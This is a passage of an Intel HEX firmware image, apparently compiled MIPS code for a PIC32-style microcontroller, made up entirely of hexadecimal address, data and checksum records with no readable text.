6e\n:108e9800f01088bf0000000002000000101188bf19\n:108ea8000000000002000000001188bf1800000048\n:108eb8001a000000501188bf080000000a000000d6\n:108ec800501188bf180000001a000000501188bf18\n:108ed8001000000012000000f01088bf0800000019\n:108ee8000a000000101188bf080000000a000000f6\n:108ef800f01088bf0000000002000000001188bfc9\n:108f0800180000001a000000101188bf00000000bf\n:108f180002000000f01088bf1000000012000000de\n:108f2800f01088bf180000001a000000001188bf68\n:108f38000000000002000000001188bf08000000c7\n:108f48000a000000001188bf100000001200000095\n:108f5800101188bf1000000012000000101188bf17\n:108f6800180000001a000000201188bf000000004f\n:108f780002000000201188bf080000000a0000005d\n:108f8800201188bf1000000012000000201188bfc7\n:108f9800180000001a000000301188bf000000000f\n:108fa80002000000301188bf080000000a0000001d\n:108fb800301188bf1000000012000000301188bf77\n:108fc800180000001a000000401188bf00000000cf\n:108fd80002000000401188bf080000000a000000dd\n:108fe800401188bf1000000012000000401188bf27\n:108ff800180000001a000000501188bf000000008f\n:049008000200000062\n:020000040000fa\n:020000041d04d9\n:10900c00e8ffbd271400bfaf1000beaf21f0a003d6\n:10901c00079d023cffdf443400a0023cdc56452493\n:10902c00fc00062400a0023c5c454724424c410f46\n:10903c0000000000079d023cfbe0443400a0023c11\n:10904c00d85745240812062400a0023c5c4547244e\n:10905c00424c410f000000002324410f000000008f\n:10906c000100422cff00423021e8c0031400bf8fe6\n:10907c001000be8f1800bd270800e00300000000a0\n:10908c00e8ffbd271400bfaf1000beaf21f0a00356\n:10909c0000a0023cdc564424079d023cffdf453413\n:1090ac00fc000624d352410f0000000004004010c5\n:1090bc0000000000010002244024410b00000000cd\n:1090cc0000a0023cd8574424079d023cfbe04534e9\n:1090dc0008120624d352410f000000000400401077\n:1090ec0000000000010002244024410b000000009d\n:1090fc002110000021e8c0031400bf8f1000be8fa8\n:10910c001800bd270800e00300000000e8ffbd27a1\n:10911c001400bfaf1000beaf21f0a00300a0023cb2\n:10912c00dc564424079d023cffdf4534fc0006243a\n:10913c00494a410f0000000000a0023cdc564424c8\n:10914c00059d023c5ce8452407000624d352410fe0\n:10915c0000000000180040100000000000a0023cbd\n:10916c00dc56442421280000fc0006246551410fe4\n:10917c000000000000a0023c4944033c524663340a\n:10918c00dc5643acdc5643246c650424040064a414\n:10919c00dc56422472000324060043a00324410f32\n:1091ac0000000000da9d400f0000000021100000bc\n:1091bc007924410b0000000000a0023cd857442445\n:1091cc00079d023cfbe0453408120624494a410f36\n:1091dc00000000000100022421e8c0031400bf8f2e\n:1091ec001000be8f1800bd270800e003000000002f\n:1091fc00e0ffbd271c00bfaf1800beaf21f0a003dd\n:10920c00079d023cffdf42341000c2af8f24410b9c\n:10921c00000000001000c28f212040001857410fa1\n:10922c00000000001000c28f001042241000c2afda\n:10923c001000c38f079d023cfbe042342b106200f0\n:10924c00f4ff40140000000021e8c0031c00bf8f95\n:10925c001800be8f2000bd270800e00300000000ae\n:10926c00e8ffbd271400bfaf1000beaf21f0a00374\n:10927c00059d023c64e84424059d023c68e84524b5\n:10928c002013410f0000000000a0023cdc564224d9\n:10929c00870042902118400000a0023c8018030077\n:1092ac0018714224211062000000428c059d033c81\n:1092bc0080e86424212840002013410f00000000a6\n:1092cc0000a0023cdc5642249c00428c059d033cd1\n:1092dc009ce86424212840008513410f0000000005\n:1092ec0000a0023cdc564224a00042902118400011\n:1092fc0000a0023c8018030000724224211062007e\n:10930c000000428c059d033cb8e8642421284000f1\n:10931c002013410f0000000000a0023cdc56422448\n:10932c00cc00438c00a0023c801803001c0042249b\n:10933c00211062000000428c059d033cd4e864249b\n:10934c00212840002013410f0000000000a0023c27\n:10935c00dc564224c400438c00a0023c801803005d\n:10936c001c004224211062000000428c059d033c2d\n:10937c00f0e86424212840002013410f0000000075\n:10938c0000a0023cdc564224c800438c00a0023ce6\n:10939c00801803001c004224211062000000428c43\n:1093ac00059d033c0ce96424212840002013410f47\n:1093bc000000000000a0023cdc564224a400428cb9\n:1093cc00059d033c28e96424212840008513410fa6\n:1093dc000000000000a0023cdc564224a800428c95\n:1093ec00059d033c44e96424212840008513410f6a\n:1093fc000000000000a0023cdc564224ac00428c71\n:10940c00059d033c60e96424212840008513410f2d\n:10941c000000000000a0023cdc564224b000428c4c\n:10942c00059d033c7ce96424212840008513410ff1\n:10943c000000000000a0023cdc564224b400428c28\n:10944c00059d033c98e96424212840008513410fb5\n:10945c000000000000a0023cdc564224b800428c04\n:10946c00059d033cb4e96424212840008513410f79\n:10947c000000000000a0023cdc564224bc004290dc\n:10948c00059d033cd0e96424212840008513410f3d\n:10949c000000000000a0023cdc564224bd004290bb\n:1094ac00059d033cece96424212840008513410f01\n:1094bc000000000000a0023cdc564224be0042909a\n:1094cc00059d033c0cea6424212840008513410fc0\n:1094dc000000000000a0023cdc564224bf00429079\n:1094ec00059d033c2cea6424212840008513410f80\n:1094fc000000000000a0023cdc564224c000429058\n:10950c00059d033c4cea6424212840008513410f3f\n:10951c000000000000a0023cdc564224d800428c23\n:10952c00059d033c6cea6424212840008513410fff\n:10953c000000000000a0023cdc564224dc00428cff\n:10954c00059d033c88ea6424212840008513410fc3\n:10955c000000000000a0023cdc5642248800428c33\n:10956c00059d033ca4ea6424212840008513410f87\n:10957c000000000000a0023cdc564224d400428cc7\n:10958c00059d033cc0ea6424212840008513410f4b\n:10959c000000000000a0023cdc5642248c00428cef\n:1095ac00059d033cdcea6424212840008513410f0f\n:1095bc000000000000a0023cdc564224e000428c7b\n:1095cc00059d033cf8ea6424212840008513410fd3\n:1095dc000000000000a0023cdc564224ec00428c4f\n:1095ec00059d033c14eb6424212840008513410f96\n:1095fc000000000000a0023cdc564224f000428c2b\n:10960c00059d033c30eb6424212840008513410f59\n:10961c000000000000a0023cdc564224e400428c16\n:10962c00059d033c4ceb6424212840008513410f1d\n:10963c000000000000a0023cdc564224e800428cf2\n:10964c00059d033c68eb6424212840008513410fe1\n:10965c000000000000a0023cdc564224f800428cc2\n:10966c00059d033c84eb6424212840008513410fa5\n:10967c000000000000a0023cdc564224f400428ca6\n:10968c00059d033ca0eb6424212840008513410f69\n:10969c000000000000a0023cdc5642249000428cea\n:1096ac00059d033cbceb6424212840008513410f2d\n:1096bc000000000000a0023cdc5642249400428cc6\n:1096cc00059d033cd8eb6424212840008513410ff1\n:1096dc000000000000a0023cdc5642249800438ca1\n:1096ec0000a0023c801803002400422421106200d8\n:1096fc000000428c059d033cf4eb642421284000bf\n:10970c002013410f0000000021e8c0031400bf8f9c\n:10971c001000be8f1800bd270800e00300000000f9\n:10972c00f8ffbd270400beaf21f0a0030800c4afb2\n:10973c002110a0000c00c2a30c00c293f9ff42241c\n:10974c000c00432c2d00601000000000801802005b\n:10975c00059d023c74974224211062000000428c4b\n:10976c000800400000000000bc97049dd497049da5\n:10977c000898049dec97049d0898049d0898049df6\n:10978c000898049d0898049d0898049df497049dde\n:10979c000898049da497049d0800c28f040003241c\n:1097ac00000043ac010002240326410b0000000022\n:1097bc000800c28f01000324000043ac0100022406\n:1097cc000326410b000000000800c28f0300032495\n:1097dc00000043ac010002240326410b00000000f2\n:1097ec000800c28f000040ac0800c28f000040ace3\n:1097fc00010002240326410b000000002110000090\n:10980c0021e8c0030400be8f0800bd270800e00358\n:10981c0000000000f8ffbd270400beaf21f0a0033c\n:10982c000800c4af2110a0000c00c2a30c00c2930e\n:10983c00f9ff42240c00432c3200601000000000a1\n:10984c0080180200059d023c689842242110620099\n:10985c000000428c0800400000000000b098049dfd\n:10986c00c898049d1099049de098049d1099049d3e\n:10987c001099049d1099049d1099049d1099049db4\n:10988c00f898049d1099049d9898049d0800c28f27\n:10989c0005000324000043ac010002244526410bc3\n:1098ac00000000000800c28f04000324000043ac39\n:1098bc00010002244526410b000000000800c28f65\n:1098cc0004000324000043ac010002244526410b94\n:1098dc00000000000800c28f01000324000043ac0c\n:1098ec00010002244526410b000000000800c28f35\n:1098fc0001000324000043ac010002244526410b67\n:10990c00000000002110000021e8c0030400be8ffd\n:10991c000800bd270800e00300000000f8ffbd2789\n:10992c000400beaf21f0a0030800c4af2110a000ba\n:10993c000c00c2a30c00c2930a00032418004310ad\n:10994c00000000000b00432806006010000000001f\n:10995c00080003240c004310000000007726410b84\n:10996c00000000001000032413004310000000004e\n:10997c001200032416004314000000002110000004\n:10998c007826410b000000000800c28f0100032460\n:10999c00000043ac010002247826410b00000000bb\n:1099ac000800c28f07000324000043ac010002240e\n:1099bc007826410b000000000800c28f070003242a\n:1099cc00000043ac010002247826410b000000008b\n:1099dc002110000021e8c0030400be8f0800bd2741\n:1099ec000800e00300000000f8ffbd270400beaf34\n:1099fc0021f0a0030800c4af2110a0000c00c2a3ea\n:109a0c000c00c2930800032409004310000000005e\n:109a1c00120003240c004314000000000800c28f45\n:109a2c00000040ac010002249626410b000000000f\n:109a3c000800c28f02000324000043ac0100022482\n:109a4c009626410b000000002110000021e8c00305\n:109a5c000400be8f0800bd270800e00300000000d2\n:109a6c00e0ffbd271c00bfaf1800beaf21f0a00364\n:109a7c002000c4af2110a0002400c2a32400c29374\n:109a8c001000c3272120600021284000cb25410f66\n:109a9c00000000000b004010000000001000c28ffe\n:109aac00211840001000c28f2000c48f21286000b4\n:109abc0021304000cc43410f00000000b526410b83\n:109acc00000000002110000021e8c0031c00bf8f23\n:109adc001800be8f2000bd270800e0030000000026\n:109aec00e0ffbd271c00bfaf1800beaf21f0a003e4\n:109afc002000c4af2110a0002400c2a32400c293f4\n:109b0c001000c32721206000212840004a26410f65\n:109b1c00000000000b004010000000001000c28f7d\n:109b2c00211840001000c28f2000c48f2128600033\n:109b3c0021304000cc43410f00000000d526410be2\n:109b4c00000000002110000021e8c0031c00bf8fa2\n:109b5c001800be8f2000bd270800e00300000000a5\n:109b6c00e0ffbd271c00bfaf1800beaf21f0a00363\n:109b7c002000c4af2110a0002400c2a32400c29373\n:109b8c001000c32721206000212840007d26410fb2\n:109b9c00000000000b004010000000001000c28ffd\n:109bac00211840001000c28f2000c48f21286000b3\n:109bbc0021304000cc43410f00000000f526410b42\n:109bcc00000000002110000021e8c0031c00bf8f22\n:109bdc001800be8f2000bd270800e0030000000025\n:109bec00e8ffbd271400bfaf1000beaf21f0a003eb\n:109bfc001800c4af2118a0002110c0001c00c3a382\n:109c0c002000c2a32000c2930a0003241d004310ad\n:109c1c00000000000b00432806006010000000004c\n:109c2c000800032410004310000000003227410bf1\n:109c3c000000000010000324190043100000000075\n:109c4c00120003241d004314000000001c00c293ea\n:109c5c001800c48f212840006ae1400f000000006a\n:109c6c003327410b000000001c00c2931800c48f66\n:109c7c002128400038b3400f000000003327410b6f\n:109c8c00000000001c00c2931800c48f2128400063\n:109c9c00add2400f000000003327410b0000000044\n:109cac001c00c2931800c48f21284000bae6400f54\n:109cbc00000000003327410b0000000021100000c1\n:109ccc0021e8c0031400bf8f1000be8f1800bd2701\n:109cdc000800e00300000000e8ffbd271400bfaf40\n:109cec001000beaf21f0a0031800c4af1c00c5af1c\n:109cfc002000c6af2110e0002400c2a32400c293b0\n:109d0c000a0003241c004310000000000b00432831\n:109d1c000600601000000000080003240f00431030\n:109d2c00000000006d27410b000000001000032410\n:109d3c001700431000000000120003241a00431403\n:109d4c00000000001800c48f2000c58fcedf400f2c\n:109d5c00000000006e27410b000000001800c48fab\n:109d6c001c00c58f2000c68f4fb4400f00000000b0\n:109d7c006e27410b000000001800c48f1c00c58f1b\n:109d8c003ed1400f000000006e27410b0000000088\n:109d9c001800c48f1c00c58f2fe4400f000000007a\n:109dac006e27410b000000002110000021e8c003c9\n:109dbc001400bf8f1000be8f1800bd270800e003f1\n:109dcc000000000088ffbd277400bfaf7000beaf5d\n:109ddc006c00b2af6800b1af6400b0af21f0a0036b\n:109dec007800c4af88bf023c2061428c0100423035\n:109dfc0003004014000000002e28410b000000005e\n:109e0c001c00c227212040003000052440000624fd\n:109e1c006551410f000000005c00c0a37800c48fa6\n:109e2c00a34a410f000000001100422c25004014f1\n:109e3c0000000000040002241a00c2a31800c0a3f2\n:109e4c007800c48fa34a410f00000000ff0042308d\n:109e5c00ffff42241900c2a3ab27410b00000000f6\n:109e6c001800c2933f000324231062001900c3930f\n:109e7c007800c48f21188300000063901800c42759\n:109e8c0021108200040043a01800c2930100422458\n:109e9c001800c2a31900c293ffff42241900c2a3e9\n:109eac001800d2937800c48fa34a410f0000000021\n:109ebc002b104202eaff401400000000c327410ba4\n:109ecc0000000000010002241a00c2a37800c48f15\n:109edc00a34a410f00000000ff0042300100423055\n:109eec001900c2a31900c2931c00c32721106200e1\n:109efc00212040007800c58f7f49410f00000000f1\n:109f0c001900c0a30528410b000000001900c293e2\n:109f1c00c018020000a0023ce0714224211862002b\n:109f2c001900c293001102001c00c42721108200ea\n:109f3c0021206000212840006db8400f0000000077\n:109f4c000400401400000000211000002e28410bda\n:109f5c00000000001800c0a3fe27410b0000000009\n:109f6c001800c3931900c2938011020021306200c3\n:109f7c001900c39300a0023cc0180300e0714224f6\n:109f8c00211062000400438c0000428c1800c49322\n:109f9c003f0005242320a400200085302138000038\n:109fac0040480300ffff08242640880004400901b4\n:109fbc000680820025801001068883000b80250214\n:109fcc000b88e500ff00023201004230ff004330f5\n:109fdc0000a0023cf06a42242110c200000043a001\n:109fec001800c293010042241800c2a31800c293a7\n:109ffc004000422cdaff4014000000001900c2930c\n:10a00c00010042241900c2a31900c3931a00c29381\n:10a01c002b106200bdff4014000000001a00c39317\n:10a02c000100022406006214000000001800c0a306\n:10a03c00400002241900c2a31728410b00000000a5\n:10a04c00200002241800c2a3e0ff02241900c2a3be\n:10a05c001800c39300a0023cf06a42242120620045\n:10a06c001900c59300a0023cdc5642249c00438c92\n:10a07c0000a0023cdc564224a400428c00a0063c0a\n:10a08c00dc56c624a800c78c00a0063cdc56c624af\n:10a09c00d400c68c1000a7af1400a6af213060000e\n:10a0ac0021384000c207410f0000000021e8c00326\n:10a0bc007400bf8f7000be8f6c00b28f6800b18fc0\n:10a0cc006400b08f7800bd270800e003000000009a\n:10a0dc00d8ffbd272400bfaf2000beaf21f0a003e6\n:10a0ec002800c4af2800c48fcc08410f000000002a\n:10a0fc0008004010000000002800c48fa34a410f44\n:10a10c00000000002118400010000224040062101e\n:10a11c000000000021100000d228410b00000000bc\n:10a12c002800c28f0f004224000043903500022407\n:10a13c000a006210000000002800c28f0f004224a9\n:10a14c000000439044000224040062100000000050\n:10a15c0021100000d228410b000000002800c28f03\n:10a16c000e004224000043903000022416006210be\n:10a17c00000000002800c28f0e0042240000439013\n:10a18c003100022410006210000000002800c28f71\n:10a19c000e00422400004390380002240a00621092\n:10a1ac00000000002800c28f0e00422400004390e3\n:10a1bc00390002240400621000000000211000008d\n:10a1cc00d228410b000000001400c0af1000c0af3b\n:10a1dc00c828410b000000001400c28f2800c38f58\n:10a1ec0021106200000042906100422c10004014cb\n:10a1fc00000000001400c28f2800c38f21106200e1\n:10a20c00000042906700422c090040100000000042\n:10a21c001400c28f2800c38f2110620000004290ee\n:10a22c00a9ff42241800c2afbe28410b0000000059\n:10a23c001400c28f2800c38f2110620000004290ce\n:10a24c003000422c10004014000000001400c28f9b\n:10a25c002800c38f21106200000042903a00422c6b\n:10a26c0009004010000000001400c28f2800c38faa\n:10a27c002110620000004290d0ff42241800c2afaf\n:10a28c00be28410b000000001400c28f2800c38fb1\n:10a29c0021106200000042904100422c100040143a\n:10a2ac00000000001400c28f2800c38f2110620030\n:10a2bc00000042904700422c0900401000000000b2\n:10a2cc001400c28f2800c38f21106200000042903e\n:10a2dc00c9ff42241800c2afbe28410b0000000089\n:10a2ec0021100000d228410b000000001800c28f82\n:10a2fc0021204000e656410f000000001000c38fe3\n:10a30c00211062001000c2af1400c28f0100422461\n:10a31c001400c2af1400c28f10004228aeff4014cc\n:10a32c00000000001000c38fc3170300c217020007\n:10a33c0021186200010063302310620021e8c00381\n:10a34c002400bf8f2000be8f2800bd270800e0032b\n:10a35c0000000000e8ffbd271400bfaf1000beaf27\n:10a36c0021f0a0031800c4af1c00c5af1c00c28fa5\n:10a37c000000428004004014000000002110000086\n:10a38c00ea28410b000000001800c48f1c00c58f88\n:10a39c007f49410f000000000100022421e8c003a6\n:10a3ac001400bf8f1000be8f1800bd270800e003fb\n:10a3bc0000000000e8ffbd271400bfaf1000beafc7\n:10a3cc0021f0a0031800c4af1800c48fcc08410fb3\n:10a3dc000000000021e8c0031400bf8f1000be8fe6\n:10a3ec001800bd270800e00300000000e8ffbd27af\n:10a3fc001400bfaf1000beaf21f0a0031800c4af13\n:10a40c001c00c5af1c00c28f000042800400401429\n:10a41c0000000000211000001029410b000000007a\n:10a42c001800c48f1c00c58f7f49410f000000002d\n:10a43c000100022421e8c0031400bf8f1000be8f5e\n:10a44c001800bd270800e00300000000e8ffbd274e\n:10a45c001400bfaf1000beaf21f0a0031800c4afb2\n:10a46c001c00c5af1800c48f1c00c58ff029410f0c\n:10a47c000000000008004010000000001800c48f0d\n:10a48c001800c58f6000062463b9400f000000005f\n:10a49c002a29410b000000002110000021e8c00314\n:10a4ac001400bf8f1000be8f1800bd270800e003fa\n:10a4bc000000000068ffbd279400bfaf9000beaf46\n:10a4cc008c00b0af21f0a0039800c4af9c00c5afc6\n:10a4dc001400c227212040009c00c58fe7b8400f14\n:10a4ec0000000000040040140000000021100000d7\n:10a4fc00e929410b000000001000c0a35029410bba\n:10a50c00000000001000c2931000c327211062004d\n:10a51c0004004290040040100000000021100000d4\n:10a52c00e929410b000000001000c29301004224f5\n:10a53c001000c2a31000c2930400422cf1ff40147f\n:10a54c00000000001400c3271400c227040042249a\n:10a55c0021206000212840005c000624494a410f5c\n:10a56c0000000000010002241000c2a38929410b45\n:10a57c00000000001000c29380100200ffff422474\n:10a58c001000c32721106200040050901000c293e9\n:10a59c00ffff4224801002001400c3272110620028\n:10a5ac00212040000100052403000624ffbc400fbd\n:10a5bc000000000004000212000000002110000046\n:10a5cc00e929410b000000001000c293ffff432457\n:10a5dc002110600040100200211043001400c3271a\n:10a5ec00211862001000c293ffff42248010020069\n:10a5fc001400c42721108200212060002128400073\n:10a60c0003000624494a410f000000001000c293c9\n:10a61c00010042241000c2a31000c2931700422c68\n:10a62c00d4ff4014000000001400c3271400c227fc\n:10a63c00030042242120600021284000420006240f\n:10a64c00494a410f000000007400c3271400c227c0\n:10a65c0021206000212840000800062463b9400f27\n:10a66c00000000007400c22721204000059d023c20\n:10a67c00e4594524734d410f0000000004004010c4\n:10a68c000000000021100000e929410b000000002f\n:10a69c001400c3271400c2270800422421206000a4\n:10a6ac00212840003a000624494a410f00000000ce\n:10a6bc001400d0931400c227010042242120400032\n:10a6cc00212800000c000624ffbc400f00000000f5\n:10a6dc00040002120000000021100000e929410bc7\n:10a6ec00000000002d00d0931400c2270d0042245e\n:10a6fc0021204000010005240c000624ffbc400f63\n:10a70c0000000000040002120000000021100000f4\n:10a71c00e929410b000000007400c3271400c22774\n:10a72c00010042242120600021284000180006244a\n:10a73c0063b9400f0000000004004014000000004a\n:10a74c0021100000e929410b000000007400c4270f\n:10a75c007c00c3278000c227059d053ce859a52431\n:10a76c002130600021384000b355410f000000003b\n:10a77c007c00c38f8000c28f9800c48f059d053c60\n:10a78c00f059a5242130600021384000ac54410f11\n:10a79c00000000000100022421e8c0039400bf8fd8\n:10a7ac009000be8f8c00b08f9800bd270800e0038e\n:10a7bc0000000000b0ffbd274c00bfaf4800beaf8b\n:10a7cc004400b0af21f0a0035000c4af5400c5af9b\n:10a7dc005400c48fa34a410f000000002118400010\n:10a7ec000800022404006210000000002110000088\n:10a7fc00842a410b000000003800c2275400c48f8b\n:10a80c00059d033cfc59652421304000b355410f94\n:10a81c00000000003800c28f1c00c32721206000fc\n:10a82c00059d033c045a652421304000ac54410f73\n:10a83c00000000001400c3271c00c2272120600068\n:10a84c002128400002000624494a410f0000000064\n:10a85c005400c28f030043243800c227212060001b\n:10a86c00059d033c0c5a652421304000b355410f23\n:10a87c00000000003800c28f1c00c327212060009c\n:10a88c00059d033c145a652421304000ac54410f03\n:10a89c00000000001400c227020043241c00c22741\n:10a8ac00212060002128400005000624494a410f60\n:10a8bc00000000001c00c227010043241400c22722\n:10a8cc002120600021284000e7b8400f0000000064\n:10a8dc001c00c3271c00c227010042242120600059\n:10a8ec0021284000180006244af8400f0000000000\n:10a8fc005000c48f21280000600006246551410fd0\n:10a90c00000000005000c48f059d023c1c5a4524d9\n:10a91c00e7b8400f000000001000c0a31200022492\n:10a92c001100c2a3642a410b000000001100c29365\n:10a93c0001004224030042300400401400000000d7\n:10a94c001100c293010042241100c2a31100c29352\n:10a95c005000c38f211062001000c3931000c42755\n:10a96c00211883000c006390000043a01000c293d8\n:10a97c00010042241000c2a31100c2930100422422\n:10a98c001100c2a31000c2931a00422ce7ff40141e\n:10a99c0000000000010002241000c2a37f2a410b1a\n:10a9ac00000000001000c29301004224801002003d\n:10a9bc00ffff42245000c38f218062001000c2931d\n:10a9cc00801002005000c38f211062002120400033\n:10a9dc000100052403000624ffbc400f000000000a\n:10a9ec00000002a21000c293010042241000c2a376\n:10a9fc001000c2931800422ceaff40140000000023\n:10aa0c000100022421e8c0034c00bf8f4800be8f18\n:10aa1c004400b08f5000bd270800e0030000000088\n:10aa2c00e8ffbd271400bfaf1000beaf21f0a0039c\n:10aa3c001800c4af1800c48f212800008af9400ff9\n:10aa4c000000000021e8c0031400bf8f1000be8f6f\n:10aa5c001800bd270800e00300000000c8ffbd2758\n:10aa6c003400bfaf3000beaf21f0a003211880002e\n:10aa7c002110a0004000c6af4400c7af3800c3a3ec\n:10aa8c003c00c2a34000c28f220040100000000016\n:10aa9c003800c3933c00c29325106200ff00423083\n:10aaac001800c2af1800c28f001202001800c2af0b\n:10aabc004400c28fff0342301800c38f2510620080\n:10aacc001800c2af2000c2274800c38f1000a3afec\n:10aadc002400c3271400a3af1800c48ffe00052464\n:10aaec0021300000213840000b42410f00000000d3\n:10aafc001c00c2af2400c28fff0043304c00c28f39\n:10ab0c00000043a01c00c28fff004230db2a410b27\n:10ab1c00000000004400c28fff0042302800c2a396\n:10ab2c003800c3933c00c29325106200ff004230f2\n:10ab3c00211840002800c2274800c48f1000a4af81\n:10ab4c004c00c48f1400a4af21206000ff0005242a\n:10ab5c004000c68f21384000c741410f0000000063\n:10ab6c0021e8c0033400bf8f3000be8f3800bd27f2\n:10ab7c000800e00300000000d8ffbd272400bfaf91\n:10ab8c002000beaf21f0a0032800c4af1800c0af56\n:10ab9c001000a0af2800c28f1400a2af0c00042438\n:10abac0050000524010006241800c78f9a2a410f73\n:10abbc000000000021e8c0032400bf8f2000be8fde\n:10abcc002800bd270800e00300000000d8ffbd27c7\n:10abdc002400bfaf2000beaf21f0a00321108000e5\n:10abec002c00c5af2800c2a31800c0af2800c29328\n:10abfc000500401000000000100002242800c2a331\n:10ac0c00062b410b000000002800c0a32800c293b3\n:10ac1c001000a0af2c00c38f1400a3af04000424b9\n:10ac2c0021284000213000001800c78f9a2a410fbc\n:10ac3c000000000021e8c0032400bf8f2000be8f5d\n:10ac4c002800bd270800e00300000000d8ffbd2746\n:10ac5c002400bfaf2000beaf21f0a0032110800064\n:10ac6c002c00c5af2800c2a31800c0af2800c293a7\n:10ac7c000500401000000000100002242800c2a3b0\n:10ac8c00262b410b000000002800c0a32800c29313\n:10ac9c001000a0af2c00c38f1400a3af0800042435\n:10acac0021284000213000001800c78f9a2a410f3c\n:10acbc000000000021e8c0032400bf8f2000be8fdd\n:10accc002800bd270800e00300000000d8ffbd27c6\n:10acdc002400bfaf2000beaf21f0a00321188000dc\n:10acec002110a0003000c6af2800c3a32c00c2a3c3\n:10acfc001800c0af2800c2930c00401000000000e8\n:10ad0c002c00c2930500401000000000300002240b\n:10ad1c002800c2a3562b410b000000001000022497\n:10ad2c002800c2a3562b410b000000002c00c2933c\n:10ad3c000500401000000000200002242800c2a3df\n:10ad4c00562b410b000000002800c0a32800c29322\n:10ad5c001000a0af3000c38f1400a3af0c0004246c\n:10ad6c0021284000010006241800c78f9a2a410fa1\n:10ad7c000000000021e8c0032400bf8f2000be8f1c\n:10ad8c002800bd270800e00300000000e0ffbd27fd\n:10ad9c001c00bfaf1800beaf21f0a003211880002b\n:10adac002110a0002800c6af2c00c7af2000c3a301\n:10adbc002400c2a32000c2930c004010000000002d\n:10adcc002400c29305004010000000003000022453\n:10addc002000c2a3862b410b0000000010000224af\n:10adec002000c2a3862b410b000000002400c2935c\n:10adfc000500401000000000200002242000c2a327\n:10ae0c00862b410b000000002000c0a32000c29341\n:10ae1c001000a0af2c00c38f1400a3af21200000a2\n:10ae2c0021284000010006242800c78f9a2a410fd0\n:10ae3c000000000021e8c0031c00bf8f1800be8f6b\n:10ae4c002000bd270800e00300000000e0ffbd2744\n:10ae5c001c00bfaf1800beaf21f0a00321200000e2\n:10ae6c00212800001000c22721304000362b410f52\n:10ae7c000000000009004014000000001000c29304\n:10ae8c00059d033c44326424212840008513410f66\n:10ae9c0000000000b02b410b000000001000c2931a\n:10aeac00059d033c68326424212840008513410f22\n:10aebc000000000001000424212800001000c2271b\n:10aecc0021304000362b410f0000000009004014d7\n:10aedc00000000001000c293059d033c90326424d6\n:10aeec00212840008513410f00000000c62b410ba8\n:10aefc00000000001000c293059d033cb032642496\n:10af0c00212840008513410f000000002120000083\n:10af1c00010005241000c22721304000362b410fc0\n:10af2c000000000009004014000000001000c29353\n:10af3c00059d033cd4326424212840008513410f25\n:10af4c0000000000dc2b410b000000001000c2933d\n:10af5c00059d033cfc326424212840008513410fdd\n:10af6c000000000001000424010005241000c22789\n:10af7c0021304000362b410f000000000900401426\n:10af8c00000000001000c293059d033c2433642490\n:10af9c00212840008513410f00000000f22b410bcb\n:10afac00000000001000c293059d033c483364244c\n:10afbc00212840008513410f0000000021e8c00348\n:10afcc001c00bf8f1800be8f2000bd270800e003b7\n:10afdc0000000000e8ffbd271400bfaf1000beaf9b\n:10afec0021f0a0031800c4af00a0023cdc564224a0\n:10affc00870042901600432c740060100000000083\n:10b00c0080180200059d023c28b0422421106200e9\n:10b01c000000428c0800400000000000d8b1049de4\n:10b02c0080b0049de4b0049de4b0049d74b1049d13\n:10b03c00d8b1049dd8b1049d24b1049d38b1049db0\n:10b04c00bcb0049d88b1049d10b1049d4cb1049d0d\n:10b05c0060b1049db0b1049dd0b0049d9cb1049d21\n:10b06c0094b0049da8b0049dd8b1049dfcb0049d7f\n:10b07c00c4b1049d1800c48f3bff400f00000000ba\n:10b08c00782c410b000000001800c48f8b2a410f54\n:10b09c0000000000782c410b000000001800c48f49\n:10b0ac0063de400f00000000782c410b0000000014\n:10b0bc001800c48f81db400f00000000782c410b7e\n:10b0cc00000000001800c48f201e410f000000007b\n:10b0dc00782c410b000000001800c48f21280000c0\n:10b0ec008af9400f00000000782c410b0000000092\n:10b0fc001800c48f1920410f00000000782c410b60\n:10b10c00000000001800c48f873d410f00000000b4\n:10b11c00782c410b000000001800c48f09ab400fc5\n:10b12c0000000000782c410b000000001800c48fb8\n:10b13c00d2ad400f00000000782c410b0000000045\n:10b14c001800c48f3728410f00000000782c410be9\n:10b15c00000000001800c48ff028410f0000000010\n:10b16c00782c410b000000001800c48fcc08410f54\n:10b17c0000000000782c410b000000001800c48f68\n:10b18c00e7ce400f00000000782c410b00000000bf\n:10b19c001800c48f84e2400f00000000782c410b93\n:10b1ac00000000001800c48f2343410f0000000072\n:10b1bc00782c410b000000001800c48fce40410fca\n:10b1cc0000000000782c410b000000000000000083\n:10b1dc002110000021e8c0031400bf8f1000be8fa7\n:10b1ec001800bd270800e00300000000e8ffbd27a1\n:10b1fc001400bfaf1000beaf21f0a0031800c4af05\n:10b20c001c00c5af2110c0002000c2a32000c293b7\n:10b21c001600432c8d006010000000008018020006\n:10b22c00059d023c44b24224211062000000428c75\n:10b23c0008004000000000009cb2049db8b2049dc0\n:10b24c0034b3049d34b3049ddcb3049d58b4049d05\n:10b25c0058b4049d7cb3049d94b3049d04b3049d25\n:10b26c00f4b3049d64b3049dacb3049dc4b3049dba\n:10b27c0028b4049d1cb3049d0cb4049dd0b2049d51\n:10b28c00e8b2049d58b4049d4cb3049d40b4049d95\n:10b29c001800c48f1c00c58f7f49410f00000000af\n:10b2ac0001000224182d410b000000001800c48f6f\n:10b2bc001c00c58f98ff400f00000000182d410b9b\n:10b2cc00000000001800c48f1c00c58f3029410fee\n:10b2dc0000000000182d410b000000001800c48f66\n:10b2ec001c00c58f7f49410f0000000001000224a3\n:10b2fc00182d410b000000001800c48f1c00c58fd6\n:10b30c008fdb400f00000000182d410b00000000e7\n:10b31c001800c48f1c00c58f111f410f00000000c6\n:10b32c00182d410b000000001800c48f1c00c58fa5\n:10b33c00c3fa400f00000000182d410b0000000064\n:10b34c001800c48f1c00c58f0621410f000000009f\n:10b35c00182d410b000000001800c48f1c00c58f75\n:10b36c00dc3c410f00000000182d410b00000000d8\n:10b37c001800c48f1c00c58f5eab400f000000008e\n:10b38c00182d410b000000001800c48f1c00c58f45\n:10b39c001aae400f00000000182d410b00000000f9\n:10b3ac001800c48f1c00c58fd828410f0000000066\n:10b3bc00182d410b000000001800c48f1c00c58f15\n:10b3cc00fe28410f00000000182d410b000000006a\n:10b3dc001800c48f1c00c58f2f09410f00000000fe\n:10b3ec00182d410b000000001800c48f1c00c58fe5\n:10b3fc001dcf400f00000000182d410b0000000075\n:10b40c001800c48f1c00c58f7f49410f000000003d\n:10b41c0001000224182d410b000000001800c48ffd\n:10b42c001c00c58f3143410f00000000182d410b4b\n:10b43c00000000001800c48f1c00c58fdc40410fb9\n:10b44c0000000000182d410b00000000000000005f\n:10b45c002110000021e8c0031400bf8f1000be8f24\n:10b46c001800bd270800e00300000000e0fdbd2728\n:10b47c001c02bfaf1802beaf21f0